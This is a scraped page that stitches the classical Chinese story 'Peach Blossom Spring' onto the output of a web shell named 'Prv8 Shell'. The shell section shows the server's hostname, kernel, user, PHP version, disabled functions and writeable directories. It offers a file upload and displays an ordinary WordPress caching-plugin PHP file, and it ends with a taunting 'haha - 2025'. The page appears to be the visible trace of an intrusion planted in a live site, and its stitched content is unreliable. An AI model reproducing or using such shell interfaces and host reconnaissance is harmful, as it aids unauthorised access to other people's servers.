晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/DbCache_Plugin_Admin.php
<?php
namespace W3TC;

class DbCache_Plugin_Admin {
	function run() {
		$config_labels = new DbCache_ConfigLabels();
		add_filter( 'w3tc_config_labels', array( $config_labels, 'config_labels' ) );

		$c = Dispatcher::config();
		if ( $c->get_boolean( 'dbcache.enabled' ) ) {
			add_filter( 'w3tc_usage_statistics_summary_from_history', array(
					$this, 'w3tc_usage_statistics_summary_from_history' ), 10, 2 );
			add_filter( 'w3tc_errors', array( $this, 'w3tc_errors' ) );
		}
	}



	public function w3tc_usage_statistics_summary_from_history( $summary, $history ) {
		// counters
		$dbcache_calls_total = Util_UsageStatistics::sum( $history,
			'dbcache_calls_total' );
		$dbcache_calls_hits = Util_UsageStatistics::sum( $history,
			'dbcache_calls_hits' );
		$dbcache_flushes = Util_UsageStatistics::sum( $history,
			'dbcache_flushes' );
		$dbcache_time_ms = Util_UsageStatistics::sum( $history,
			'dbcache_time_ms' );

		$c = Dispatcher::config();
		$e = $c->get_string( 'dbcache.engine' );

		$summary['dbcache'] = array(
			'calls_total' => Util_UsageStatistics::integer(
				$dbcache_calls_total ),
			'calls_per_second' => Util_UsageStatistics::value_per_period_seconds(
				$dbcache_calls_total, $summary ),
			'flushes' => Util_UsageStatistics::integer( $dbcache_flushes ),
			'time_ms' => Util_UsageStatistics::integer( $dbcache_time_ms ),
			'hit_rate' => Util_UsageStatistics::percent(
				$dbcache_calls_hits, $dbcache_calls_total ),
			'engine_name' => Cache::engine_name( $e )
		);

		return $summary;
	}



	public function w3tc_errors( $errors ) {
		$c = Dispatcher::config();

		if ( $c->get_string( 'dbcache.engine' ) == 'memcached' ) {
			$memcached_servers = $c->get_array( 'dbcache.memcached.servers' );

			if ( !Util_Installed::is_memcache_available( $memcached_servers ) ) {
				if ( !isset( $errors['memcache_not_responding.details'] ) )
					$errors['memcache_not_responding.details'] = array();

				$errors['memcache_not_responding.details'][] = sprintf(
					__( 'Database Cache: %s.', 'w3-total-cache' ),
					implode( ', ', $memcached_servers ) );
			}
		}

		return $errors;
	}
}

haha - 2025